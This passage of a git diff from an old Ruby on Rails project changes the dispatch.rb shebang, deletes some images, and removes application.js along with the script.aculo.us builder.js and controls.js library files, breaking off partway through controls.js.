--- a/public/dispatch.rb
+++ b/public/dispatch.rb
@@ -1,4 +1,4 @@
-#!/usr/bin/env ruby
+#!e:/ruby/bin/ruby
 
 require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT)
 
diff --git a/public/favicon.ico b/public/favicon.ico
index 35c8dd1f..e6136658 100644
Binary files a/public/favicon.ico and b/public/favicon.ico differ
diff --git a/public/images/bg_normal.gif b/public/images/bg_normal.gif
deleted file mode 100644
index 76c0f484..00000000
Binary files a/public/images/bg_normal.gif and /dev/null differ
diff --git a/public/images/bg_protected.gif b/public/images/bg_protected.gif
deleted file mode 100644
index 2030f6f0..00000000
Binary files a/public/images/bg_protected.gif and /dev/null differ
diff --git a/public/images/green.png b/public/images/green.png
deleted file mode 100644
index 26db21e1..00000000
Binary files a/public/images/green.png and /dev/null differ
diff --git a/public/javascripts/application.js b/public/javascripts/application.js
deleted file mode 100644
index a75bd522..00000000
--- a/public/javascripts/application.js
+++ /dev/null
@@ -1,29 +0,0 @@
-// Place your application-specific JavaScript functions and classes here
-// This file is automatically included by javascript_include_tag :defaults
-function toggleView(id)
-{
-  (document.getElementById(id).style.display == 'block') ? document.getElementById(id).style.display='none' : document.getElementById(id).style.display='block';
-}
-
-/*
- * Registers a callback which copies the csrf token into the
- * X-CSRF-Token header with each ajax request.  Necessary to 
- * work with rails applications which have fixed
- * CVE-2011-0447
-*/
-
-Ajax.Responders.register({
-  onCreate: function(request) {
-    var csrf_meta_tag = $$('meta[name=csrf-token]')[0];
-
-    if (csrf_meta_tag) {
-      var header = 'X-CSRF-Token',
-          token = csrf_meta_tag.readAttribute('content');
-
-      if (!request.options.requestHeaders) {
-        request.options.requestHeaders = {};
-      }
-      request.options.requestHeaders[header] = token;
-    }
-  }
-});
diff --git a/public/javascripts/builder.js b/public/javascripts/builder.js
deleted file mode 100644
index f1f42b9a..00000000
--- a/public/javascripts/builder.js
+++ /dev/null
@@ -1,136 +0,0 @@
-// script.aculo.us builder.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
-
-// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-var Builder = {
-  NODEMAP: {
-    AREA: 'map',
-    CAPTION: 'table',
-    COL: 'table',
-    COLGROUP: 'table',
-    LEGEND: 'fieldset',
-    OPTGROUP: 'select',
-    OPTION: 'select',
-    PARAM: 'object',
-    TBODY: 'table',
-    TD: 'table',
-    TFOOT: 'table',
-    TH: 'table',
-    THEAD: 'table',
-    TR: 'table'
-  },
-  // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken,
-  //       due to a Firefox bug
-  node: function(elementName) {
-    elementName = elementName.toUpperCase();
-
-    // try innerHTML approach
-    var parentTag = this.NODEMAP[elementName] || 'div';
-    var parentElement = document.createElement(parentTag);
-    try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
-      parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
-    } catch(e) {}
-    var element = parentElement.firstChild || null;
-
-    // see if browser added wrapping tags
-    if(element && (element.tagName.toUpperCase() != elementName))
-      element = element.getElementsByTagName(elementName)[0];
-
-    // fallback to createElement approach
-    if(!element) element = document.createElement(elementName);
-
-    // abort if nothing could be created
-    if(!element) return;
-
-    // attributes (or text)
-    if(arguments[1])
-      if(this._isStringOrNumber(arguments[1]) ||
-        (arguments[1] instanceof Array) ||
-        arguments[1].tagName) {
-          this._children(element, arguments[1]);
-        } else {
-          var attrs = this._attributes(arguments[1]);
-          if(attrs.length) {
-            try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
-              parentElement.innerHTML = "<" +elementName + " " +
-                attrs + "></" + elementName + ">";
-            } catch(e) {}
-            element = parentElement.firstChild || null;
-            // workaround firefox 1.0.X bug
-            if(!element) {
-              element = document.createElement(elementName);
-              for(attr in arguments[1])
-                element[attr == 'class' ? 'className' : attr] = arguments[1][attr];
-            }
-            if(element.tagName.toUpperCase() != elementName)
-              element = parentElement.getElementsByTagName(elementName)[0];
-          }
-        }
-
-    // text, or array of children
-    if(arguments[2])
-      this._children(element, arguments[2]);
-
-     return $(element);
-  },
-  _text: function(text) {
-     return document.createTextNode(text);
-  },
-
-  ATTR_MAP: {
-    'className': 'class',
-    'htmlFor': 'for'
-  },
-
-  _attributes: function(attributes) {
-    var attrs = [];
-    for(attribute in attributes)
-      attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) +
-          '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'&quot;') + '"');
-    return attrs.join(" ");
-  },
-  _children: function(element, children) {
-    if(children.tagName) {
-      element.appendChild(children);
-      return;
-    }
-    if(typeof children=='object') { // array can hold nodes and text
-      children.flatten().each( function(e) {
-        if(typeof e=='object')
-          element.appendChild(e);
-        else
-          if(Builder._isStringOrNumber(e))
-            element.appendChild(Builder._text(e));
-      });
-    } else
-      if(Builder._isStringOrNumber(children))
-        element.appendChild(Builder._text(children));
-  },
-  _isStringOrNumber: function(param) {
-    return(typeof param=='string' || typeof param=='number');
-  },
-  build: function(html) {
-    var element = this.node('div');
-    $(element).update(html.strip());
-    return element.down();
-  },
-  dump: function(scope) {
-    if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope
-
-    var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " +
-      "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " +
-      "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+
-      "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+
-      "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+
-      "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);
-
-    tags.each( function(tag){
-      scope[tag] = function() {
-        return Builder.node.apply(Builder, [tag].concat($A(arguments)));
-      };
-    });
-  }
-};
\ No newline at end of file
diff --git a/public/javascripts/controls.js b/public/javascripts/controls.js
deleted file mode 100644
index 7392fb66..00000000
--- a/public/javascripts/controls.js
+++ /dev/null
@@ -1,965 +0,0 @@
-// script.aculo.us controls.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
-
-// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-//           (c) 2005-2009 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
-//           (c) 2005-2009 Jon Tirsen (http://www.tirsen.com)
-// Contributors:
-//  Richard Livsey
-//  Rahul Bhargava
-//  Rob Wills
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-// Autocompleter.Base handles all the autocompletion functionality
-// that's independent of the data source for autocompletion. This
-// includes drawing the autocompletion menu, observing keyboard
-// and mouse events, and similar.
-//
-// Specific autocompleters need to provide, at the very least,
-// a getUpdatedChoices function that will be invoked every time
-// the text inside the monitored textbox changes. This method
-// should get the text for which to provide autocompletion by
-// invoking this.getToken(), NOT by directly accessing
-// this.element.value. This is to allow incremental tokenized
-// autocompletion. Specific auto-completion logic (AJAX, etc)
-// belongs in getUpdatedChoices.
-//
-// Tokenized incremental autocompletion is enabled automatically
-// when an autocompleter is instantiated with the 'tokens' option
-// in the options parameter, e.g.:
-// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
-// will incrementally autocomplete with a comma as the token.
-// Additionally, ',' in the above example can be replaced with
-// a token array, e.g. { tokens: [',', '\n'] } which
-// enables autocompletion on multiple tokens. This is most
-// useful when one of the tokens is \n (a newline), as it
-// allows smart autocompletion after linebreaks.
-
-if(typeof Effect == 'undefined')
-  throw("controls.js requires including script.aculo.us' effects.js library");
-
-var Autocompleter = { };
-Autocompleter.Base = Class.create({
-  baseInitialize: function(element, update, options) {
-    element          = $(element);
-    this.element     = element;
-    this.update      = $(update);
-    this.hasFocus    = false;
-    this.changed     = false;
-    this.active      = false;
-    this.index       = 0;
-    this.entryCount  = 0;
-    this.oldElementValue = this.element.value;
-
-    if(this.setOptions)
-      this.setOptions(options);
-    else
-      this.options = options || { };
-
-    this.options.paramName    = this.options.paramName || this.element.name;
-    this.options.tokens       = this.options.tokens || [];
-    this.options.frequency    = this.options.frequency || 0.4;
-    this.options.minChars     = this.options.minChars || 1;
-    this.options.onShow       = this.options.onShow ||
-      function(element, update){
-        if(!update.style.position || update.style.position=='absolute') {
-          update.style.position = 'absolute';
-          Position.clone(element, update, {
-            setHeight: false,
-            offsetTop: element.offsetHeight
-          });
-        }
-        Effect.Appear(update,{duration:0.15});
-      };
-    this.options.onHide = this.options.onHide ||
-      function(element, update){ new Effect.Fade(update,{duration:0.15}) };
-
-    if(typeof(this.options.tokens) == 'string')
-      this.options.tokens = new Array(this.options.tokens);
-    // Force carriage returns as token delimiters anyway
-    if (!this.options.tokens.include('\n'))
-      this.options.tokens.push('\n');
-
-    this.observer = null;
-
-    this.element.setAttribute('autocomplete','off');
-
-    Element.hide(this.update);
-
-    Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this));
-    Event.observe(this.element, 'keydown', this.onKeyPress.bindAsEventListener(this));
-  },
-
-  show: function() {
-    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
-    if(!this.iefix &&
-      (Prototype.Browser.IE) &&
-      (Element.getStyle(this.update, 'position')=='absolute')) {
-      new Insertion.After(this.update,
-       '<iframe id="' + this.update.id + '_iefix" '+
-       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
-       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
-      this.iefix = $(this.update.id+'_iefix');
-    }
-    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
-  },
-
-  fixIEOverlapping: function() {
-    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
-    this.iefix.style.zIndex = 1;
-    this.update.style.zIndex = 2;
-    Element.show(this.iefix);
-  },
-
-  hide: function() {
-    this.stopIndicator();
-    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
-    if(this.iefix) Element.hide(this.iefix);
-  },
-
-  startIndicator: function() {
-    if(this.options.indicator) Element.show(this.options.indicator);
-  },
-
-  stopIndicator: function() {
-    if(this.options.indicator) Element.hide(this.options.indicator);
-  },
-
-  onKeyPress: function(event) {
-    if(this.active)
-      switch(event.keyCode) {
-       case Event.KEY_TAB:
-       case Event.KEY_RETURN:
-         this.selectEntry();
-         Event.stop(event);
-       case Event.KEY_ESC:
-         this.hide();
-         this.active = false;
-         Event.stop(event);
-         return;
-       case Event.KEY_LEFT:
-       case Event.KEY_RIGHT:
-         return;
-       case Event.KEY_UP:
-         this.markPrevious();
-         this.render();
-         Event.stop(event);
-         return;
-       case Event.KEY_DOWN:
-         this.markNext();
-         this.render();
-         Event.stop(event);
-         return;
-      }
-     else
-       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN ||
-         (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return;
-
-    this.changed = true;
-    this.hasFocus = true;
-
-    if(this.observer) clearTimeout(this.observer);
-      this.observer =
-        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
-  },
-
-  activate: function() {
-    this.changed = false;
-    this.hasFocus = true;
-    this.getUpdatedChoices();
-  },
-
-  onHover: function(event) {
-    var element = Event.findElement(event, 'LI');
-    if(this.index != element.autocompleteIndex)
-    {
-        this.index = element.autocompleteIndex;
-        this.render();
-    }
-    Event.stop(event);
-  },
-
-  onClick: function(event) {
-    var element = Event.findElement(event, 'LI');
-    this.index = element.autocompleteIndex;
-    this.selectEntry();
-    this.hide();
-  },
-
-  onBlur: function(event) {
-    // needed to make click events working
-    setTimeout(this.hide.bind(this), 250);
-    this.hasFocus = false;
-    this.active = false;
-  },
-
-  render: function() {
-    if(this.entryCount > 0) {
-      for (var i = 0; i < this.entryCount; i++)
-        this.index==i ?
-          Element.addClassName(this.getEntry(i),"selected") :
-          Element.removeClassName(this.getEntry(i),"selected");
-      if(this.hasFocus) {
-        this.show();
-        this.active = true;
-      }
-    } else {
-      this.active = false;
-      this.hide();
-    }
-  },
-
-  markPrevious: function() {
-    if(this.index > 0) this.index--;
-      else this.index = this.entryCount-1;
-    this.getEntry(this.index).scrollIntoView(true);
-  },
-
-  markNext: function() {
-    if(this.index < this.entryCount-1) this.index++;
-      else this.index = 0;
-    this.getEntry(this.index).scrollIntoView(false);
-  },
-
-  getEntry: function(index) {
-    return this.update.firstChild.childNodes[index];
-  },
-
-  getCurrentEntry: function() {
-    return this.getEntry(this.index);
-  },
-
-  selectEntry: function() {
-    this.active = false;
-    this.updateElement(this.getCurrentEntry());
-  },
-
-  updateElement: function(selectedElement) {
-    if (this.options.updateElement) {
-      this.options.updateElement(selectedElement);
-      return;
-    }
-    var value = '';
-    if (this.options.select) {
-      var nodes = $(selectedElement).select('.' + this.options.select) || [];
-      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
-    } else
-      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');
-
-    var bounds = this.getTokenBounds();
-    if (bounds[0] != -1) {
-      var newValue = this.element.value.substr(0, bounds[0]);
-      var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/);
-      if (whitespace)
-        newValue += whitespace[0];
-      this.element.value = newValue + value + this.element.value.substr(bounds[1]);
-    } else {
-      this.element.value = value;
-    }
-    this.oldElementValue = this.element.value;
-    this.element.focus();
-
-    if (this.options.afterUpdateElement)
-      this.options.afterUpdateElement(this.element, selectedElement);
-  },
-
-  updateChoices: function(choices) {
-    if(!this.changed && this.hasFocus) {
-      this.update.innerHTML = choices;
-      Element.cleanWhitespace(this.update);
-      Element.cleanWhitespace(this.update.down());
-
-      if(this.update.firstChild && this.update.down().childNodes) {
-        this.entryCount =
-          this.update.down().childNodes.length;
-        for (var i = 0; i < this.entryCount; i++) {
-          var entry = this.getEntry(i);
-          entry.autocompleteIndex = i;
-          this.addObservers(entry);
-        }
-      } else {
-        this.entryCount = 0;
-      }
-
-      this.stopIndicator();
-      this.index = 0;
-
-      if(this.entryCount==1 && this.options.autoSelect) {
-        this.selectEntry();
-        this.hide();
-      } else {
-        this.render();
-      }
-    }
-  },
-
-  addObservers: function(element) {
-    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
-    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
-  },
-
-  onObserverEvent: function() {
-    this.changed = false;
-    this.tokenBounds = null;
-    if(this.getToken().length>=this.options.minChars) {
-      this.getUpdatedChoices();
-    } else {
-      this.active = false;
-      this.hide();
-    }
-    this.oldElementValue = this.element.value;
-  },
-
-  getToken: function() {
-    var bounds = this.getTokenBounds();
-    return this.element.value.substring(bounds[0], bounds[1]).strip();
-  },
-
-  getTokenBounds: function() {
-    if (null != this.tokenBounds) return this.tokenBounds;
-    var value = this.element.value;
-    if (value.strip().empty()) return [-1, 0];
-    var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue);
-    var offset = (diff == this.oldElementValue.length ? 1 : 0);
-    var prevTokenPos = -1, nextTokenPos = value.length;
-    var tp;
-    for (var index = 0, l = this.options.tokens.length; index < l; ++index) {
-      tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1);
-      if (tp > prevTokenPos) prevTokenPos = tp;
-      tp = value.indexOf(this.options.tokens[index], diff + offset);
-      if (-1 != tp && tp < nextTokenPos) nextTokenPos = tp;
-    }
-    return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]);
-  }
-});
-
-Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) {
-  var boundary = Math.min(newS.length, oldS.length);
-  for (var index = 0; index < boundary; ++index)
-    if (newS[index] != oldS[index])
-      return index;
-  return boundary;
-};
-
-Ajax.Autocompleter = Class.create(Autocompleter.Base, {
-  initialize: function(element, update, url, options) {
-    this.baseInitialize(element, update, options);
-    this.options.asynchronous  = true;
-    this.options.onComplete    = this.onComplete.bind(this);
-    this.options.defaultParams = this.options.parameters || null;
-    this.url                   = url;
-  },
-
-  getUpdatedChoices: function() {
-    this.startIndicator();
-
-    var entry = encodeURIComponent(this.options.paramName) + '=' +
-      encodeURIComponent(this.getToken());
-
-    this.options.parameters = this.options.callback ?
-      this.options.callback(this.element, entry) : entry;
-
-    if(this.options.defaultParams)
-      this.options.parameters += '&' + this.options.defaultParams;
-
-    new Ajax.Request(this.url, this.options);
-  },
-
-  onComplete: function(request) {
-    this.updateChoices(request.responseText);
-  }
-});
-
-// The local array autocompleter. Used when you'd prefer to
-// inject an array of autocompletion options into the page, rather
-// than sending out Ajax queries, which can be quite slow sometimes.
-//
-// The constructor takes four parameters. The first two are, as usual,
-// the id of the monitored textbox, and id of the autocompletion menu.
-// The third is the array you want to autocomplete from, and the fourth
-// is the options block.
-//
-// Extra local autocompletion options:
-// - choices - How many autocompletion choices to offer
-//
-// - partialSearch - If false, the autocompleter will match entered
-//                    text only at the beginning of strings in the
-//                    autocomplete array. Defaults to true, which will
-//                    match text at the beginning of any *word* in the
-//                    strings in the autocomplete array. If you want to
-//                    search anywhere in the string, additionally set
-//                    the option fullSearch to true (default: off).
-//
-// - fullSsearch - Search anywhere in autocomplete array strings.
-//
-// - partialChars - How many characters to enter before triggering
-//                   a partial match (unlike minChars, which defines
-//                   how many characters are required to do any match
-//                   at all). Defaults to 2.
-//
-// - ignoreCase - Whether to ignore case when autocompleting.
-//                 Defaults to true.
-//
-// It's possible to pass in a custom function as the 'selector'
-// option, if you prefer to write your own autocompletion logic.
-// In that case, the other options above will not apply unless
-// you support them.
-
-Autocompleter.Local = Class.create(Autocompleter.Base, {
-  initialize: function(element, update, array, options) {
-    this.baseInitialize(element, update, options);
-    this.options.array = array;
-  },
-
-  getUpdatedChoices: function() {
-    this.updateChoices(this.options.selector(this));
-  },
-
-  setOptions: function(options) {
-    this.options = Object.extend({
-      choices: 10,
-      partialSearch: true,
-      partialChars: 2,
-      ignoreCase: true,
-      fullSearch: false,
-      selector: function(instance) {
-        var ret       = []; // Beginning matches
-        var partial   = []; // Inside matches
-        var entry     = instance.getToken();
-        var count     = 0;
-
-        for (var i = 0; i < instance.options.array.length &&
-          ret.length < instance.options.choices ; i++) {
-
-          var elem = instance.options.array[i];
-          var foundPos = instance.options.ignoreCase ?
-            elem.toLowerCase().indexOf(entry.toLowerCase()) :
-            elem.indexOf(entry);
-
-          while (foundPos != -1) {
-            if (foundPos == 0 && elem.length != entry.length) {
-              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" +
-                elem.substr(entry.length) + "</li>");
-              break;
-            } else if (entry.length >= instance.options.partialChars &&
-              instance.options.partialSearch && foundPos != -1) {
-              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
-                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
-                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
-                  foundPos + entry.length) + "</li>");
-                break;
-              }
-            }
-
-            foundPos = instance.options.ignoreCase ?
-              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) :
-              elem.indexOf(entry, foundPos + 1);
-
-          }
-        }
-        if (partial.length)
-          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length));
-        return "<ul>" + ret.join('') + "</ul>";
-      }
-    }, options || { });
-  }
-});
-
-// AJAX in-place editor and collection editor
-// Full rewrite by Christophe Porteneuve <tdd@tddsworld.com> (April 2007).
-
-// Use this if you notice weird scrolling problems on some browsers,
-// the DOM might be a bit confused when this gets called so do this
-// waits 1 ms (with setTimeout) until it does the activation
-Field.scrollFreeActivate = function(field) {
-  setTimeout(function() {
-    Field.activate(field);
-  }, 1);
-};
-
-Ajax.InPlaceEditor = Class.create({
-  initialize: function(element, url, options) {
-    this.url = url;
-    this.element = element = $(element);
-    this.prepareOptions();
-    this._controls = { };
-    arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!!
-    Object.extend(this.options, options || { });
-    if (!this.options.formId && this.element.id) {
-      this.options.formId = this.element.id + '-inplaceeditor';
-      if ($(this.options.formId))
-        this.options.formId = '';
-    }
-    if (this.options.externalControl)
-      this.options.externalControl = $(this.options.externalControl);
-    if (!this.options.externalControl)
-      this.options.externalControlOnly = false;
-    this._originalBackground = this.element.getStyle('background-color') || 'transparent';
-    this.element.title = this.options.clickToEditText;
-    this._boundCancelHandler = this.handleFormCancellation.bind(this);
-    this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this);
-    this._boundFailureHandler = this.handleAJAXFailure.bind(this);
-    this._boundSubmitHandler = this.handleFormSubmission.bind(this);
-    this._boundWrapperHandler = this.wrapUp.bind(this);
-    this.registerListeners();
-  },
-  checkForEscapeOrReturn: function(e) {
-    if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return;
-    if (Event.KEY_ESC == e.keyCode)
-      this.handleFormCancellation(e);
-    else if (Event.KEY_RETURN == e.keyCode)
-      this.handleFormSubmission(e);
-  },
-  createControl: function(mode, handler, extraClasses) {
-    var control = this.options[mode + 'Control'];
-    var text = this.options[mode + 'Text'];
-    if ('button' == control) {
-      var btn = document.createElement('input');
-      btn.type = 'submit';
-      btn.value = text;
-      btn.className = 'editor_' + mode + '_button';
-      if ('cancel' == mode)
-        btn.onclick = this._boundCancelHandler;
-      this._form.appendChild(btn);
-      this._controls[mode] = btn;
-    } else if ('link' == control) {
-      var link = document.createElement('a');
-      link.href = '#';
-      link.appendChild(document.createTextNode(text));
-      link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler;
-      link.className = 'editor_' + mode + '_link';
-      if (extraClasses)
-        link.className += ' ' + extraClasses;
-      this._form.appendChild(link);
-      this._controls[mode] = link;
-    }
-  },
-  createEditField: function() {
-    var text = (this.options.loadTextURL ? this.options.loadingText : this.getText());
-    var fld;
-    if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) {
-      fld = document.createElement('input');
-      fld.type = 'text';
-      var size = this.options.size || this.options.cols || 0;
-      if (0 < size) fld.size = size;
-    } else {
-      fld = document.createElement('textarea');
-      fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows);
-      fld.cols = this.options.cols || 40;
-    }
-    fld.name = this.options.paramName;
-    fld.value = text; // No HTML breaks conversion anymore
-    fld.className = 'editor_field';
-    if (this.options.submitOnBlur)
-      fld.onblur = this._boundSubmitHandler;
-    this._controls.editor = fld;
-    if (this.options.loadTextURL)
-      this.loadExternalText();
-    this._form.appendChild(this._controls.editor);
-  },
-  createForm: function() {
-    var ipe = this;
-    function addText(mode, condition) {
-      var text = ipe.options['text' + mode + 'Controls'];
-      if (!text || condition === false) return;
-      ipe._form.appendChild(document.createTextNode(text));
-    };
-    this._form = $(document.createElement('form'));
-    this._form.id = this.options.formId;
-    this._form.addClassName(this.options.formClassName);
-    this._form.onsubmit = this._boundSubmitHandler;
-    this.createEditField();
-    if ('textarea' == this._controls.editor.tagName.toLowerCase())
-      this._form.appendChild(document.createElement('br'));
-    if (this.options.onFormCustomization)
-      this.options.onFormCustomization(this, this._form);
-    addText('Before', this.options.okControl || this.options.cancelControl);
-    this.createControl('ok', this._boundSubmitHandler);
-    addText('Between', this.options.okControl && this.options.cancelControl);
-    this.createControl('cancel', this._boundCancelHandler, 'editor_cancel');
-    addText('After', this.options.okControl || this.options.cancelControl);
-  },
-  destroy: function() {
-    if (this._oldInnerHTML)
-      this.element.innerHTML = this._oldInnerHTML;
-    this.leaveEditMode();
-    this.unregisterListeners();
-  },
-  enterEditMode: function(e) {
-    if (this._saving || this._editing) return;
-    this._editing = true;
-    this.triggerCallback('onEnterEditMode');
-    if (this.options.externalControl)
-      this.options.externalControl.hide();
-    this.element.hide();
-    this.createForm();
-    this.element.parentNode.insertBefore(this._form, this.element);
-    if (!this.options.loadTextURL)
-      this.postProcessEditField();
-    if (e) Event.stop(e);
-  },
-  enterHover: function(e) {
-    if (this.options.hoverClassName)
-      this.element.addClassName(this.options.hoverClassName);
-    if (this._saving) return;
-    this.triggerCallback('onEnterHover');
-  },
-  getText: function() {
-    return this.element.innerHTML.unescapeHTML();
-  },
-  handleAJAXFailure: function(transport) {
-    this.triggerCallback('onFailure', transport);
-    if (this._oldInnerHTML) {
-      this.element.innerHTML = this._oldInnerHTML;
-      this._oldInnerHTML = null;
-    }
-  },
-  handleFormCancellation: function(e) {
-    this.wrapUp();
-    if (e) Event.stop(e);
-  },
-  handleFormSubmission: function(e) {
-    var form = this._form;
-    var value = $F(this._controls.editor);
-    this.prepareSubmission();
-    var params = this.options.callback(form, value) || '';
-    if (Object.isString(params))
-      params = params.toQueryParams();
-    params.editorId = this.element.id;
-    if (this.options.htmlResponse) {
-      var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions);
-      Object.extend(options, {
-        parameters: params,
-        onComplete: this._boundWrapperHandler,
-        onFailure: this._boundFailureHandler
-      });
-      new Ajax.Updater({ success: this.element }, this.url, options);
-    } else {
-      var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-      Object.extend(options, {
-        parameters: params,
-        onComplete: this._boundWrapperHandler,
-        onFailure: this._boundFailureHandler
-      });
-      new Ajax.Request(this.url, options);
-    }
-    if (e) Event.stop(e);
-  },
-  leaveEditMode: function() {
-    this.element.removeClassName(this.options.savingClassName);
-    this.removeForm();
-    this.leaveHover();
-    this.element.style.backgroundColor = this._originalBackground;
-    this.element.show();
-    if (this.options.externalControl)
-      this.options.externalControl.show();
-    this._saving = false;
-    this._editing = false;
-    this._oldInnerHTML = null;
-    this.triggerCallback('onLeaveEditMode');
-  },
-  leaveHover: function(e) {
-    if (this.options.hoverClassName)
-      this.element.removeClassName(this.options.hoverClassName);
-    if (this._saving) return;
-    this.triggerCallback('onLeaveHover');
-  },
-  loadExternalText: function() {
-    this._form.addClassName(this.options.loadingClassName);
-    this._controls.editor.disabled = true;
-    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-    Object.extend(options, {
-      parameters: 'editorId=' + encodeURIComponent(this.element.id),
-      onComplete: Prototype.emptyFunction,
-      onSuccess: function(transport) {
-        this._form.removeClassName(this.options.loadingClassName);
-        var text = transport.responseText;
-        if (this.options.stripLoadedTextTags)
-          text = text.stripTags();
-        this._controls.editor.value = text;
-        this._controls.editor.disabled = false;
-        this.postProcessEditField();
-      }.bind(this),
-      onFailure: this._boundFailureHandler
-    });
-    new Ajax.Request(this.options.loadTextURL, options);
-  },
-  postProcessEditField: function() {
-    var fpc = this.options.fieldPostCreation;
-    if (fpc)
-      $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate']();
-  },
-  prepareOptions: function() {
-    this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions);
-    Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks);
-    [this._extraDefaultOptions].flatten().compact().each(function(defs) {
-      Object.extend(this.options, defs);
-    }.bind(this));
-  },
-  prepareSubmission: function() {
-    this._saving = true;
-    this.removeForm();
-    this.leaveHover();
-    this.showSaving();
-  },
-  registerListeners: function() {
-    this._listeners = { };
-    var listener;
-    $H(Ajax.InPlaceEditor.Listeners).each(function(pair) {
-      listener = this[pair.value].bind(this);
-      this._listeners[pair.key] = listener;
-      if (!this.options.externalControlOnly)
-        this.element.observe(pair.key, listener);
-      if (this.options.externalControl)
-        this.options.externalControl.observe(pair.key, listener);
-    }.bind(this));
-  },
-  removeForm: function() {
-    if (!this._form) return;
-    this._form.remove();
-    this._form = null;
-    this._controls = { };
-  },
-  showSaving: function() {
-    this._oldInnerHTML = this.element.innerHTML;
-    this.element.innerHTML = this.options.savingText;
-    this.element.addClassName(this.options.savingClassName);
-    this.element.style.backgroundColor = this._originalBackground;
-    this.element.show();
-  },
-  triggerCallback: function(cbName, arg) {
-    if ('function' == typeof this.options[cbName]) {
-      this.options[cbName](this, arg);
-    }
-  },
-  unregisterListeners: function() {
-    $H(this._listeners).each(function(pair) {
-      if (!this.options.externalControlOnly)
-        this.element.stopObserving(pair.key, pair.value);
-      if (this.options.externalControl)
-        this.options.externalControl.stopObserving(pair.key, pair.value);
-    }.bind(this));
-  },
-  wrapUp: function(transport) {
-    this.leaveEditMode();
-    // Can't use triggerCallback due to backward compatibility: requires
-    // binding + direct element
-    this._boundComplete(transport, this.element);
-  }
-});
-
-Object.extend(Ajax.InPlaceEditor.prototype, {
-  dispose: Ajax.InPlaceEditor.prototype.destroy
-});
-
-Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, {
-  initialize: function($super, element, url, options) {
-    this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions;
-    $super(element, url, options);
-  },
-
-  createEditField: function() {
-    var list = document.createElement('select');
-    list.name = this.options.paramName;
-    list.size = 1;
-    this._controls.editor = list;
-    this._collection = this.options.collection || [];
-    if (this.options.loadCollectionURL)
-      this.loadCollection();
-    else
-      this.checkForExternalText();
-    this._form.appendChild(this._controls.editor);
-  },
-
-  loadCollection: function() {
-    this._form.addClassName(this.options.loadingClassName);
-    this.showLoadingText(this.options.loadingCollectionText);
-    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-    Object.extend(options, {
-      parameters: 'editorId=' + encodeURIComponent(this.element.id),
-      onComplete: Prototype.emptyFunction,
-      onSuccess: function(transport) {
-        var js = transport.responseText.strip();
